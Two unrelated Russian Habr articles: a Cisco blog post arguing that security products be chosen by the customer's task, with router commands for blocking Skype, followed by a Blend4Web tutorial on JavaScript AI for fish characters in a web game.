— То есть вам нужно заблокировать Tor и вы ищите для этого нужное вам решение?
— Да-да (раздраженно). Так вы можете мне составить спецификацию? Какие исходные данные вам нужны?
— Для решения именно этой вашей задачи, если другие перед вами не стоят, необязательно использовать Cisco ASA. Блокировать работу с Tor вы можете с помощью различных наших решений — Cisco Web Security Applaince, Cisco Umbrella Security Internet Gateway, Cisco Cloud Web Security, Cisco Meraki MX, Cisco Firepower, Cisco AMP for Endpoints… В конце концов вы можете с помощью скрипта подгружать адреса узлов сети Tor в маршрутизатор Cisco ISR и блокировать их с помощью ACL. В последнем случае вам и тратить ничего не придется.
— Да? Вот блин. Мне надо тогда подумать…
— Давайте мы с вами вместе составим перечень задач, которые вам надо решить, и угроз, с которыми надо бороться, и тогда уже выберем наилучшим образом подходящий продукт?
— Хорошо, давайте. Вы сможете к нам подъехать завтра к 10-ти утра?
— Конечно.
Схожие по сути звонки мы получаем достаточно часто и они отражают сложившуюся практику не решения своих задач, а закрытия текущих проблем с помощью лучше всего известных продуктов. Это как со строительством дорог. Можно их изначально строить правильно (пусть и первоначальные затраты будут подороже), а можно каждый год перекладывать пришедший в негодность асфальт или ставить заплатки на образовавшиеся ямы (что в итоге обходится дороже). Таких “ям” в какой-то момент становится слишком много и наступает коллапс — все приходится переделывать, а человек, начавший эту “заплаточную” историю теряет свое место (а может он и сам давно покинул свою должность, предвосхитив возможные проблемы). Так и с построением системы информационной безопасности на предприятии. Мы слишком привыкли мыслить продуктовыми категориями. Тут мы купим Cisco ASA (наверное, потому что других межсетевых экранов у Cisco мы не знаем), тут поставим Cisco Web Security Appliance (хотя можно было бы обойтись и Cisco Umbrella), тут нужен антивирус <имярек> (хотя заказчик столкнулся с безфайловыми атаками), тут поставим сертифицированный криптошлюз (хотя можно обойтись и встроенной в маршрутизатор или операционную систему VPN-функциональностью)… Все это началось очень давно, когда на рынке присутствовали игроки с одним продуктом, который решал определенную задачу. Так произошла подмена понятий — “решение задачи” было заменено на “продукт”. Но время шло, портфолио производителей расширялось, функциональность продуктов тоже, а подход “хочу продукт” остался.
Я иногда завидую нишевым вендорам по кибербезопасности. Чем хороша работа у них? Небольшим набором продуктов, решающих вполне конкретные задачи. Нужен, например, заказчику межсетевой экран, — вот вам межсетевой экран. Никаких разночтений и разногласий — все предельно понятно. Максимум, по чему может выйти спор, это какая модель нужна — на 250 или 600 мегабит в секунду? Нужно заказчику, например, блокировать Skype в своей сети — опять же вот вам межсетевой экран с соответствующей функцией (если она в МСЭ есть, конечно). Все довольны. Вендор, который штампует коммерческие предложения пачками (продукт-то один — не разгуляешься). Заказчик, который на свой запрос получает готовое предложение с конкретной ценой. Партнер, которому не надо иметь компетенции по разным решениям.
В Cisco ситуация немного иная. Начнем с того, что у нас тех же самых межсетевых экранов семь:
* [Cisco ASA 5500-X](https://www.cisco.com/c/ru_ru/products/security/asa-firepower-services/index.html)
* [Cisco Firepower](https://www.cisco.com/c/ru_ru/products/security/firepower-2100-series/index.html)
* [Cisco ASAv](https://www.cisco.com/c/en/us/products/security/virtual-adaptive-security-appliance-firewall/index.html)
* Cisco Virtual Security Gateway
* [Cisco IOS Firewall](https://www.cisco.com/c/en/us/products/security/ios-firewall/index.html)
* [Cisco Meraki MX](https://www.cisco.com/c/en/us/products/security/meraki-cloud-managed-security-appliances/index.html)
* Cisco ASA SM for Catalyst.
И это если не рассматривать снятый с производства 10 лет назад, но до сих пор используемый некоторыми заказчиками, Cisco Pix, а также различные “прикладные” МСЭ, например, DNS-фильтр [Cisco Umbrella](https://www.cisco.com/c/en/us/products/security/umbrella/index.html), HTTP-фильтр [Cisco Web Security Appliance](https://www.cisco.com/c/ru_ru/products/security/web-security-appliance/index.html) и т.п., которые с некоторой натяжкой, но тоже могут носить гордое звание межсетевых экранов для определенных задач.
И поэтому даже на обычный запрос “да нам бы обычный межсетевой экран” мы ответить просто так не можем. Да и не правильно это. Очень важно выбирать средства защиты не из его названия или типа (например, NGFW есть у многих производителей, но вот понимание того, что такое NGFW, у всех разное) или своего представления о продукте, а из решаемой задачи и детального изучения характеристик и функций имеющегося у производителя портфолио. В случае с Cisco, в наших продуктах используется немало перекрестных или схожих по своей сути технологий и правильный их выбор лучше обсуждать с представителями производителя или квалифицированного партнера. Тем более, что мы всегда открыты для консультаций и готовы помогать нашим заказчикам и партнерам.
Поэтому при звонках, аналогичных приведенному выше, мы начинаем “занудствовать” и уточнять, для решения какой задачи заказчику нужен межсетевой экран. Ему нужен межсетевой экран для разграничения доступа на сетевом уровне? Для защиты виртуализированных сред? Для контроля приложений? С привязкой правил к учетным записям пользователей или нет? Для установки на магистральных каналах или на удаленной площадке? А все потому, что портфолио наше по кибербезопасности достаточно широко и банального ответа “купите наш межсетевой экран и будет вам счастье” мы дать поэтому не можем. Мы руководствуемся принципом, что решаемая задача определяет используемый продукт, а не наоборот. Если у других производителей всего один межсетевой экран или одна система обнаружения атак и поэтому они убеждают заказчиков, что “гонять весь трафик, даже внутренний, через периметровый МСЭ — это нормально” или что “поставьте периметровую IDS на каждом транке или SPAN-порту и вы решите свою задачу”, то мы так не работаем. Сначала определяется решаемая задача и (или) модель угроз, а потом уже выбирается под них соответствующее решение, которое может отличаться от изначально предполагаемого заказчиком.
Но давайте попробуем выйти за рамки только межсетевого экрана? У нас ведь номенклатура решений по кибербезопасности гораздо шире и далеко не все можно и нужно решать только с помощью межсетевого экрана. Возьмем, к примеру, задачу контроля доступа к Web-ресурсам. В случае с Cisco решаться она может по-разному. Как минимум 4 продукта позволяют нам контролировать доступ к Интернет-ресурсам:
* аппаратный или виртуальный Cisco Web Security Appliance (WSA)
* облачный [Cisco Cloud Web Security](https://www.cisco.com/c/ru_ru/products/security/cloud-web-security/index.html) (CWS)
* облачный Cisco Umbrella (бывший OpenDNS Umbrella) или Secure Internet Gateway (SIG)
* аппаратный или виртуальный межсетевой экран Cisco Firepower (или Cisco ASA и Cisco Meraki MX) с функцией URL Filtering.
Каждое из данных решений позволяет нам фиксировать попытки доступа к тем или иным сайтам, и блокировать их по необходимости. Но делают они это по-разному. Например, Cisco Umbrella мониторит все DNS-запросы из корпоративной сети или с мобильного устройства. А CWS (или его новая реинкарнация Cisco Securу Internet Gateway) пропускает все HTTP/HTTPS-запросы через ближайшее облако, что особо полезно для мобильных сотрудников. WSA и Firepower действуют по схожей с CWS технологии (база категорированных URL), но должны быть установлены на периметре защищаемой сети. Однако этим отличия четырех названных продуктов не ограничиваются. Тот же Firepower помимо URL-фильтрации может обнаруживать вредоносные файлы, загружаемые с посещаемых страниц, а WSA к этому добавляет еще функции анализа и разбора Web-страниц на лету (при их отсутствии в базе URL), а также возможность сканирования страницы до предоставления к ней доступа пользователю и вырезания вредоносного контента или рекламы. А если задача контроля доступа к Web-ресурсам трансформируется в задачу контроля доступа к облачным сервисам (Amazon, Google.Doc, Azure и т.п.) с личных устройств сотрудников, находящихся за пределами корпоративной сети, то тут вступает в игру еще одно решение Cisco — [CloudLock](https://www.cisco.com/c/ru_ru/products/security/cloudlock/index.html), относящееся к классу Cloud Access Security Broker (CASB). Иными словами, решения Cisco по контролю Web-доступа, помимо своей основной функции обладают еще и расширенным функционалом, который и отличает их друг от друга. И именно весь спектр функций решения и стоящая перед заказчиков задача будут влиять на его выбор.
Возьмем другой пример — борьбу с программами-вымогателями, которые пытаются соединиться с командными C2-серверами для подгрузки новой функциональности, получения команд или организации утечки данных. В Cisco такой защитной функциональностью обладают разные решения:
* Система мониторинга сетевых аномалий [Cisco Stealthwatch](https://www.cisco.com/c/ru_ru/products/security/stealthwatch/index.html), которая анализирует телеметрию NetFlow и может обнаруживать попытки коммуникаций с командными серверами, идущими даже в обход периметра (через незащищенный Wi-Fi или 3G/4G-модемы).
* Уже упомянутое решение Cisco WSA, которое мониторит исходящие из сети и проходящие через WSA коммуникации на всех 65000 с лишним TCP-портах с целью идентификации попыток соединения с известными C2-серверами.
* Также уже упомянутый Firepower (или ASA, или Meraki MX) контролирует все сетевые соединения и за счет встроенной технологии предотвращения вторжений NGIPS, а также регулярно обновляемых списков C2-серверов, позволяет блокировать соединения с ними.
* Облачный сервис Cisco Umbrella, пропуская через себя весь DNS-трафик, идентифицирует в нем соединения с вредоносными узлами, осуществляемыми как изнутри корпоративной сети, так и за ее пределами — с мобильных устройств или удаленных площадок, неоснащенных вообще никакими средствами защиты.
* Система борьбы с вредоносным кодом [Cisco Advanced Malware Protection](https://www.cisco.com/c/ru_ru/products/security/advanced-malware-protection/index.html) (AMP) for Networks и for Endpoints контролирует аномальное поведение файлов и их попытки соединиться с посторонними, в т.ч. и вредоносными узлами.
* Решение [Cisco Cognitive Threat Analytics](https://www.cisco.com/c/en/us/products/security/cognitive-threat-analytics/index.html) позволяет детектировать работу вредоносных программ по следам в Web-логах с прокси или межсетевых экранов.
* Наконец, средство защиты электронной почты [Cisco Email Security Appliance](https://www.cisco.com/c/ru_ru/products/security/email-security-appliance/index.html) не допускает попадания шифровальщика на компьютер пользователя через почтовый ящик (а это до сих пор один из основных каналов заражения пользователей, даже несмотря на историю с [WannaCry](https://habrahabr.ru/company/cisco/blog/328598/)).
Какое из названных семи решений выбрать для блокирования заражения шифровальщиками и взаимодействия с управляющими серверами вредоносного ПО? Опять же все зависит от того, какие еще задачи с точки зрения информационной безопасности мы хотим решить. Нужна ли нам только борьба с программами-вымогателями или нам нужно решение для защиты периметра “все в одном” (тут лучше подходит Firepower)? А может нам нужна защита мобильных устройств? Тогда Cisco Umbrella будет лучшим выбором. Наконец, если мы не уверены, что весь трафик ходит только через периметр, то нам не обойтись без Cisco Stealthwatch. А скорее всего одним решением тут и вовсе не обойтись и понадобится комплекс из нескольких технологий.
Возьмем еще один пример, с которым пришлось разбираться некоторое время назад. Заказчик приобрел Cisco Web Security Appliance для контроля доступа к сети Интернет, а потом высказал ряд замечаний, которые очень хорошо продемонстрировали описанное выше. Заказчик выбирал продукт, а не решение своей задачи. В процессе “разбора полетов” выяснилось, что заказчику нужна была функция блокирования Skype и Cisco WSA с ней справлялся не очень хорошо. Давайте попробуем разобраться, почему заказчик оказался неудовлетворенным?
Начнем с того, что на момент разбора ситуации Skype был построен по принципу Peer-to-peer и не использовал никаких центральных серверов для своей работы (хотя Microsoft и движется в эту сторону). Поэтому блокировать Skype как это делается при доступе к обычным Web-сайтам (что WSA делает на отлично) нужно умеючи и с пониманием различных методов коммуникаций в Skype:
* использование UDP-соединения с другими абонентами на случайно выбранных номерах портов
* использование TCP-соединения с другими абонентами на случайно выбранных номерах портов
* использование TCP-соединения с другими абонентами на портах 80/443
* туннелирование пакетов через Web-прокси, используя метод HTTP CONNECT на 443-м порту.
Так вот в 1-3 случаях трафик обычно не идет через Cisco WSA и, как следствие, не может быть им блокирован. И это не недостаток WSA, а особенности места его установки в корпоративной сети. В 4-м же сценарии тоже есть свои сложности, связанные с тем, что Skype не передает в рамках HTTP CONNECT никаких деталей о клиенте (нет строки HTTP User-Agent). Поэтому сложно отличить Skype от другого протокола, использующего метод HTTP CONNECT. Мы можем попробовать заблокировать такие соединения, но тогда “под раздачу” попадут все пользователи Skype, а также, возможно, и иные протоколы, использующие схожие методы коммуникаций.
Что же тогда делать? Как нам решить задачу, стоящую перед заказчиком? Как я написал выше, надо отталкиваться именно от задачи, а не продукта, который “вроде как по описанию” решает ее. Опираясь на описанные выше способы коммуникаций, применяемые Skype, у нас есть три кандидата для решения поставленной задачи:
* Cisco Stealthwatch
* Cisco Firepower
* Cisco ISR с функцией NBAR2.
NBAR2 (Network-based Application Recognition) — это функция маршрутизаторов Cisco с операционной системой IOS, которая позволяет распознавать приложения, проходящие через маршрутизатор. С ее помощью можно легко идентифицировать различные виды трафика, в том числе и использующие пиринговые технологии с динамичными портами для соединений (к ним относится и Skype). Для того, чтобы блокировать Skype на обычном маршрутизаторе достатно ввести следующие команды (указав вместо “GigabitEthernet 0/2” правильный интерфейс для контроля трафика):
`(config)#class-map match-any blockskype
(config-cmap)#match protocol skype
(config)#policy-map blockskype
(config-pmap)#class blockskype
(config-pmap-c)#drop
(config)#interface GigabitEthernet 0/2
(config-if)#service-policy input blockskype
(config-if)#service-policy output blockskype`
Удостовериться в правильности работы включенной вами политики можно командой show policy-map (или show class-map):
`1#show policy-map interface g0/2 input
GigabitEthernet0/2
Service-policy input: blockskype
Class-map: blockskype (match-any)
994 packets, 327502 bytes
30 second offered rate 43000 bps, drop rate 43000 bps
Match: protocol skype
994 packets, 327502 bytes
30 second rate 43000 bps
drop
Class-map: class-default (match-any)
195253 packets, 51828774 bytes
30 second offered rate 7282000 bps, drop rate 0 bps
Match: any`
У данного метода, правда, есть всего один, но существенный недостаток, — он блокирует весь трафик Skype без разбора. На практике же вам может понадобиться быть более гибким. Например, вы хотите разрешить пользоваться Skype только отдельным пользователям в своей сети, а всем остальным запретить. Или необходимо запретить отдельные функции внутри самого Skype (чаты, голос, видео, передача файлов) и также привязать эти политики к конкретным учетным записям пользователей. Помочь решить задачу в такой постановке не сможет ни Cisco WSA, ни Cisco NBAR2 — только технологии Cisco Firepower (в виде надстройки над МСЭ Cisco ASA, в виде самостоятельного аппаратного или виртуального устройства, или в виде надстройки над маршрутизатором Cisco ISR). Именно это решение позволяет наиболее гибко решить задачу фильтрации Skype по различным атрибутам — время, пользователь, операция в Skype, направление и т.п. Но если пойти еще дальше, то можно запретить запускать приложение Skype на компьютере пользователя, а это можно попробовать сделать и групповыми политиками, и самостоятельными средствами защиты информации, например, Cisco AMP for Endpoints.
Возьмем последний пример, который часто всплывает в разговоре с заказчиками и с которого начинается эта заметка. Заказчики говорят: “Мы хотим блокировать Tor. Ваш МСЭ умеет это делать?” Да, умеет. Только вот Tor блокировать можно не только с помощью МСЭ, хотя это и самый очевидный вариант. Дать на вход МСЭ регулярно обновляемый перечень выходных узлов сети Tor или адреса серверов каталогов и все, можно считать, что проблема решена. Но… Единственный ли это вариант? Конечно нет. Можно блокировать Tor с помощью маршрутизатора Cisco ISR, подав ему на вход список соответствующих адресов, которые затем транслируются в набор ACL. Автоматизировать эту задачу можно с помощью обычного скрипта — <https://github.com/RealEnder/cisco-tor-block>. А, например, Cisco Stealthwatch может мониторить взаимодействие не только с выходными, но и с входными узлами сети Tor. И на Cisco AMP for Endpoints можно повесить эту задачу. Вариантов масса — нужно понять, что из них лучше будет удовлетворять исходным условиям.
Именно поэтому мы всегда призываем и наших партнеров, и заказчиков четко формулировать свою задачу и говорить не о том, какой продукт Cisco им нужен (хотя бывает и так, что заказчик прекрасно разбирается в нашем портфолио и сам отлично знает, что ему надо), а о том, с какой проблемой они хотят бороться. Иначе у заказчика/партнера может возникнуть неудовлетворенность от решений Cisco, которые якобы неэффективно решают поставленную задачу. Но задачу-то никто и не ставил :-( Часто бывает так, что компания исходя из своего видения приобретает какое-либо решение, а потом оказывается, что оно не справляется с поставленной задачей. Кто в этом случае виноват?
Иными словами, надо отталкиваться от того, что иностранцы называет модным термином “use case” (сценарий использования). Я бы выделил четыре типа таких сценариев, которые имеют место в кибербезопасности:
* нейтрализация определенной угрозы (утечка информации, программы-вымогатели, DDoS-атаки, фишинг и др.)
* защита/блокирование определенной технологии (например, виртуализированный ЦОД или Skype или облако или периметр)
* реализация требований какого-либо нормативного акта или стандарта, включающего требования по кибербезопасности (например, 31-го приказа ФСТЭК или нового ГОСТа Банка России)
* реализация какого-либо процесса в ИБ (например, реагирования на инциденты или security awareness или мониторинга ИБ).
В каждой из этих четырех категорий существует множество сценариев, универсального списка которых не существует (хотя есть наиболее популярные сценарии).
Подходя к концу заметку, я вновь хотел бы вернуться к тому, с чего начал. Чтобы правильно выстроить систему обеспечения информационной безопасности на предприятии необходимо не бежать искать продукт А, Б или В, а сначала составить список исходных данных — решаемые задачи (включая защищаемые процессы, поддерживаемые протоколы и системы, производительность и т.п.), отражаемые угрозы, требования нормативных актов, то есть отталкиваться от сценариев использования. И только поняв это, можно переходить к процессу выбора соответствующего решения (и вновь — не продукта, а именно решения). Удачного вам выбора! А чтобы раскрыть тему use case чуть шире, в следующих статьях мы рассмотрем несколько типовых сценариев. | https://habr.com/ru/post/337900/ | null | ru | null |
# Создание игры на Blend4Web. Зачатки интеллекта
Даже самый примитивный игровой персонаж должен обладать хоть какими-нибудь “мозгами”. Рыбки априори не блещут интеллектом, но кое-что они все же должны уметь — передвигаться, “смотреть”, убегать или нападать. От них не требуется искать укрытия или “морщить лоб” для умной ответной фразы. Выглядит просто, но легко ли сделать?
Разговор пойдет о реализации AI силами JavaScript и Blend4Web. Поставленные задачи, способы их решения или вынужденные пути обхода — все это на примере разрабатываемого живого, игрового проекта.
#### Теоретические рассуждения
Начну со вступления. Разрабатываемая игра — это горизонтальный скроллер, где главный персонаж перемещается в одном и том же направлении (слева-направо). В качестве героя выступает рыбка, противостоят ей остальные морские твари. Причем игрок не влияет на героя, а лишь помогает ему в решении имеющихся задач. Поэтому все персонажи должны обладать мало-мальским разумением, чтобы играть было интересно. Впрочем, от них требуется не так много. Я даже замечу, что враги гораздо умнее главного героя. Собственно, что взять с простой золотой рыбки! Эта статья посвящена отнюдь не ей, а скромным и голодным обитателям глубин.
С чего начинается жизнь в игре? Конечно, со спауна! Вроде бы, что может быть проще — создать заранее в редакторе нужное количество стартовых маркеров и генерировать врагов в этих точках. Однако, на этом этапе можно получить плохую реиграбельность и значительное падение производительности. Кому интересно переигрывать уровень, зная наперед, что оттуда выскочит акула, а из-за камня выползет мурена. Здесь поможет генерация врагов в произвольно выбранных местах (точках). А если добавить простой алгоритм подбора персонажей и их количества в соответствии с местностью, то станет намного интереснее.
Куда сложнее дело обстоит с производительностью. По сути, игра представляет собой непрерывно двигающийся конвейер с большим количеством активных объектов. На одном экране могут находиться несколько врагов, просто проплывающие рыбы, другие элементы, взаимодействующие с окружением. Если примерно представить длину уровня, то количество таких объектов может перевалить за сотни. Лавинообразный просчет физики, анимации, логики может вылиться в серьезные тормоза и один из вариантов решения — это временная приостановка деятельности ненужных объектов.
То, что на рисунке — это мое решение по производительности. Как видите, игровое поле поделено на зоны. При старте игры все объекты загружаются в память, раскидываются по спаунам и “замораживаются”. В зависимости от нахождения главного героя, происходит активация объектов конкретного сектора. Допустим, на рисунке главный персонаж изображен в нулевой зоне. Соответственно активируются объекты отсеков 2 и 3. Затем герой переплывает в сектор 1 — подключается номер четыре и т.д. Активация двух зон одновременно, вызвана необходимостью дать юнитам время, хотя бы для отплытия от мест генерации. Так же происходит и отключение. Тут, правда, немного хитрее, ведь нужно учитывать, что хищники в порыве азарта могут пересечь границы своей зоны.
Те кружочки, что видны на рисунке — это места для спаунов. В реальности на сцене они располагаются в зависимости от местности, текущих задач и т.д. Сначала была идея использовать эти координаты в качестве точек для построения траектории движения объектов, но впоследствии я отказался от нее, отпустив создания в свободное плавание. Тем самым, внеся еще больше неожиданности в игровой процесс. Если учесть, что при спауне случайно указываются не только места, но и изначальный поворот объекта, то траектория движения становится непредсказуемой.
Основная логика решений персонажей основывается на двух событиях: результатах сканирования пространства перед объектом и кругового поиска. Первый вариант используется для более-менее осмысленного движения. Луч, выпускаемый на определенное расстояние перед объектом, возвращается с некоторой информацией. Представим, что впереди находится скала. В зависимости от расстояния до нее, персонаж принимает решение — плыть дальше или поворачивать. Причем поворот выполняется до тех пор, пока спереди не будет чистого пространства.
Второй вариант необходим для более глобальных действий. Так, в зоне внимания обнаруживается главный герой. Соответственно, персонаж устремляется к нему с целью атаки. Если же ему самому грозит опасность, то враг улепетывает в обратном направлении.
Вся эта система случайного движения выглядит очень нестабильно. Допустим, может возникнуть ситуация, что юнит перемещается в обратном от героя направлении или наоборот упорно его обгоняет. Если он попадет в зону невидимости, то просто “заморозится” до лучших времен.
Что же касается агрессивных персонажей, то атаковать они могут только в пределах определенного времени. В дальнейшем они “теряют” интерес и уплывают в любом направлении.
Подытожу, что случайная генерация персонажей, их количества и качества, отказ от жестких траекторий движений, позволяет создать достаточно непредсказуемый игровой процесс.
#### Практический подход
Теория — дело хорошее. Однако, зачастую на практике оказывается совсем не так безоблачно и многие, казалось бы, правильные решения, требуют значительной корректировки. Многое зависит от функциональности API движка и, разумеется, профессионализма программиста. Последним я, увы, похвастаться не могу, поэтому большое спасибо тем разработчикам Blend4Web, что выслушивали мои иногда странные вопросы и помогали в меру возможного.
Итак, используемый движок — Blend4Web, язык программирования JavaScript, целевая платформа — веб. Это не первая моя статья на тему создания игры. Ознакомьтесь с предыдущими материалами, если что-то будет непонятно (список в порядке времени публикации):
* [Создание игры на Blend4Web. Сцена и окружение](http://habrahabr.ru/post/263453/)
* [Создание игры на Blend4Web. Путь программиста](http://habrahabr.ru/post/264115/)
* [Подготовка персонажа для Blend4Web](http://habrahabr.ru/post/268937/)
По традиции, для ключевых объектов в сцене я использую отдельные скрипты-обработчики. Поэтому для рыб был создан файл *game\_fish.js*, а глобальные константы стали хранится в файле *game\_config.js*.
Обработка AI осуществляется независимо от остального кода и, по сути, требует только инициализации — запроса на генерацию объектов. В основном файле game\_app.js имеется несколько соответствующих строк:
```
…
var m_fish = require("game_fish");
var m_game_config = require("game_config");
...
var number = 10;
var type_fish = m_game_config.FISH1;
m_fish.new_fishes(number, type_fish);
...
```
С помощью *m\_fish.new\_fishes* отсылается запрос на создание рыб определенного типа (переменная *type\_fish*) и нужного количества (*number*). Собственно, от game\_app больше ничего не требуется, поэтому переходим к теме разговора.
Итак, сначала происходит вызов функции new\_fishes, ответственной за запуск механизма по генерации рыб:
```
var _type_fish;
var _elapsed_sensor;
var APP_ASSETS_PATH = m_cfg.get_std_assets_path() + "waterhunter/";
exports.new_fishes = function(number, type_fish) {
_type_fish = type_fish;
_elapsed_sensor = m_ctl.create_elapsed_sensor();
//load fish
var i;
for (i = 0; i < number; i++) {
m_data.load(APP_ASSETS_PATH +type_fish, fish_loaded_cb,null,true,true);
}
}
```
Первые три строки описывают глобальные переменные, а дальше выполняется простой цикл, основанный на необходимом количестве экземпляров (*number*).
Константа *APP\_ASSETS\_PATH* содержит путь к ресурсам игры (json, медиа и т.д.), которую использует функция *m\_data.load* для загрузки модели рыбы. Подробней узнать о тонкостях работы с load можно из [прошлого урока](http://habrahabr.ru/post/268937/). Добавлю, что объект после загрузки отключается и становится невидимым.
Вообще, для многочисленных одинаковых объектов принято выполнять копирование (инстансинг) уже загруженного экземпляра. Совсем недавно, в API Blend4Web появились соответствующие функции. Вот только они ограничиваются простым копированием геометрии и не позволяют работать с более сложной модельной иерархией. Это вынуждает использовать функцию load. Хотя она имеет хорошие возможности для управления процессом загрузки, но работает достаточно медленно. Ради интереса, я попытался загрузить с ее помощью 50 копий рыб — пришлось ждать около 7 секунд, что для динамично создаваемых объектов очень плохо.
На данном этапе разработки это не критично, ведь генерацию объектов можно скрыть под сплэшем загрузки уровня. Но для динамичной сцены лучше использовать пул объектов.
Следующая функция *m\_ctl.create\_elapsed\_sensor()* выглядит очень интересно. С её помощью создается специальный объект-сенсор, который генерирует событие с определенной периодичностью и способен выдавать время между рендером текущего кадра и предыдущего. Проще говоря, это пригодится для движения или вращения объекта с одинаковой скоростью, вне зависимости от мощности системы. Но, чтобы работать с ним, нужно сначала “подписаться” на данное событие. Об этом чуть дальше.
Когда загрузка файла завершается, то происходит вызов функции *fish\_loaded\_cb*. Именно в ней продолжается дальнейшая работа.
```
function fish_loaded_cb (data_id) {
//генерация случайного числа из 4
var spawn_number = Math.floor(Math.random() * (5 - 1)) + 1;
//поиск в сцене объекта-маркера
var spawn = m_scenes.get_object_by_name (m_game_config.SPAWN_FISH[spawn_number-1],0);
// координаты spawn
var spawn_coord = new Float32Array(3);
spawn_coord = m_trans.get_translation (spawn, spawn_coord);
//поиск корневого объекта модели
var obj_fish = m_scenes.get_object_by_name ("fish", data_id);
//перенос модели в точку spawn
m_trans.set_translation_v (obj_fish,spawn_coord);
...
```
Эта куча строк выполняет всего два действия, но очень важных. Случайным образом выбирается один-единственный маркер из имеющихся в сцене. Затем модель перемещается в его координаты. Таким образом, каждые последующие экземпляры рыбки будут разбросаны по разным местам. Может получиться так, что на одну точку придется несколько объектов. Первоначально, выбранный вариант кубического коллайдера часто приводил к “склеиванию” пересекающихся моделей. Поэтому пришлось выбрать коллайдер сферической формы. Это решило мою проблему.
Итак, в строке с *Math.random* генерируется случайное число от 1 до 4 и сохраняется в переменной *spawn\_number* (в тестовом примере только 4 спаун-объекта). В файле game\_config.js находится массив spawn-объектов:
```
exports.SPAWN_FISH = ["spawn1","spawn2","spawn3","spawn4"];
```
Функция get\_object\_by\_name ищет в базовой сцене объект с именем, хранящемся в массиве:
```
var spawn = m_scenes.get_object_by_name (m_game_config.SPAWN_FISH[spawn_number-1],0);
```
Теперь модель загружена и перемещена в место дислокации, осталось ее сделать видимой и включить физику. Вот тут-то поджидает первый сюрприз.
В API движка имеются функции *show\_object(obj)* и *enable\_simulation(obj)*. Они, как раз и активируют объект, указанный в скобках. При этом совершенно не учитывается иерархия. Это происходит из-за особенностей создания и настройки персонажа (подробно рассказывается в [предыдущей статье](http://habrahabr.ru/post/268937/)). К примеру, иерархия модели может выглядеть так:
* Корневой объект-коллайдер (физическое тело)
* сама модель
* вспомогательные объекты Empty
* дочерние модели со собственной иерархией
Любой из этих пунктов может иметь физику или визуализироваться рендером. Понятное дело, что коллайдер показывать совсем не к чему. Тем не менее, на пользователя перекладывается решение, что и как включать.
Было бы неплохо добавить в API функции, выполняющие тоже самое, только со всей иерархией сразу. Указал корневой объект и получил результат.
Так как этого нет, то приходится перебирать все объекты и активировать их в цикле:
```
//загружаем массив всех объектов в сцене с номером ID
var objs = m_scenes.get_all_objects("ALL", data_id);
for (var i = 0; i < objs.length; i++) {
var obj = objs[i];
//включаем визуализацию для mesh
if (m_obj.is_mesh(obj)) m_scenes.show_object(obj);
//включаем физику для физического тела
if (m_phy.has_physics(obj)) m_phy.enable_simulation(obj);
}
...
```
Теперь физика и визуализация включены. Осталось сделать главное — добавить рыбкам немного “мозгов”.
Я решил поступить следующим образом. Сделать шаблон для хранения локальных данных персонажа и уже создавать на его основе рабочий экземпляр. Такая заготовка содержит ссылки на объекты в иерархии персонажа, его логический статус (state) и даже некоторые временные переменные. В качестве data\_id передается номер загруженной сцены-модели.
```
//заготовка
function template_fish (data_id) {
this.root = m_scenes.get_object_by_name ("fish", data_id);
this.body = m_scenes.get_object_by_name ("body", data_id);
this.state = m_game_config.STATE_FISH_INI;
...
}
```
Собственно объект создается следующим образом:
```
var clone_fish = new template_fish(data_id);
```
Несколько ранее, был создан сенсор (функция *create\_elapsed\_sensor*) генерирующий цикличные события. Настало время подключить новый персонаж к этому сенсору для создания основного логического блока:
```
m_ctl.create_sensor_manifold(clone_fish, "FISH", m_ctl.CT_CONTINUOUS, [_elapsed_sensor], null, fish_ai_cb);
//сохраняем ссылку на объект в массиве
_fishes.push (clone_fish);
```
Обратите внимание, что данное множество (*sensor\_manifold*) вызывает функцию *fish\_ai\_cb*, при наступлении события. Именно в ней сконцентрирована основная часть логики. Переключение действий выполняется в соответствии с локальной переменной объекта *state*:
```
function fish_ai_cb (clone_fish) {
case m_game_config.STATE_FISH_INI:
break;
case m_game_config.STATE_FISH_MOVE:
break;
case m_game_config.STATE_FISH_ROTATE:
break;
...
default:
break;
}
```
Все возможные значения *state* для удобства вынесены в конфигурационный файл:
```
//State fish
exports.STATE_FISH_INI = 0;
exports.STATE_FISH_MOVE = 1;
exports.STATE_FISH_ROTATE = 5;
exports.STATE_FISH_WAIT = 3;
...
```
Теперь рассмотрим особенности реализации движения и поиск пути. Перемещаемый объект-рыба представляет собой коллайдер сферической формы. Все остальные объекты в сцене также имеют физические коллайдеры. Это позволяет использовать raycast для сканирования пространства перед носом рыбы. Если луч отражается от какого-либо объекта, то принимается какое-либо логическое решение.
Луч генерируется только при движении рыбы вперед. Во всех остальных случаях, в этом нет необходимости.
Итак, есть следующий код, заключенный в *case STATE\_FISH\_MOVE*:
```
…
//перемещение персонажа вперед
m_phy.set_character_move_dir(clone_fish.root,1, 0);
…
//запуск ray test
var to = new Float32Array(3);
var trans = new Float32Array(3);
m_trans.get_translation(clone_fish.root, trans);
to = [0,0,1];
clone_fish.ray_id = m_phy.append_ray_test(clone_fish.root, trans, to, "ANY", ray_test_cb, true);
...
```
В соответствие с назначением логического блока, здесь происходит перемещение объекта. Вообще, Blend4Web предлагает для этой цели два модуля: physics (с использованием физики) и transform (обычное изменение векторов). Так как, я использую коллайдеры, а также функцию raycast, то все перемещения и вращения объектов нужно выполнять только с помощью физики.
Функция *set\_character\_move\_dir(clone\_fish.root,1, 0)* как раз и перемещает объект в указанном направлении (вперед). Причем это происходит независимо от основного потока. То есть, вызвав единожды эту функцию, вы получите бесконечное перемещение (скорость и другие параметры физики устанавливаются в Blender. См. урок “[Подготовка персонажа для Blend4Web](http://habrahabr.ru/post/268937/)”).
Дальше по коду стоит генерация raycast. Функция *append\_ray\_test* требует ряд параметров:
* Ссылка на объект, генерирующего луч.
* Начальная позиция. Совпадает с координатами объекта.
* Вектор направления. Вперед по локальной оси с ограничением длины в единицу.
* Идентификатор коллайдеров. В данном случае, реагирование на все варианты.
* Название функции, возвращающей результат сканирования.
* Режим работы сканера (TRUE — единичный вызов, FALSE — бесконечное сканирование).
В соответствие с указанными параметрами происходит следующее. Функция “отсылает” луч в указанном направлении (*to*). При обнаружении любого объекта происходит вызов *ray\_test\_cb*. После этого, raycast прекращает свою работу. Учтите, что *append\_ray\_test* также работает в асинхронном режиме.
Итак, пока установлен режим *state* = “move”, рыба двигается вперед и одновременно “прощупывает” пространство перед носом. Если обнаружено препятствие, то движение прекращается, статус меняется на “rotate” и, соответственно, выполняется разворот.
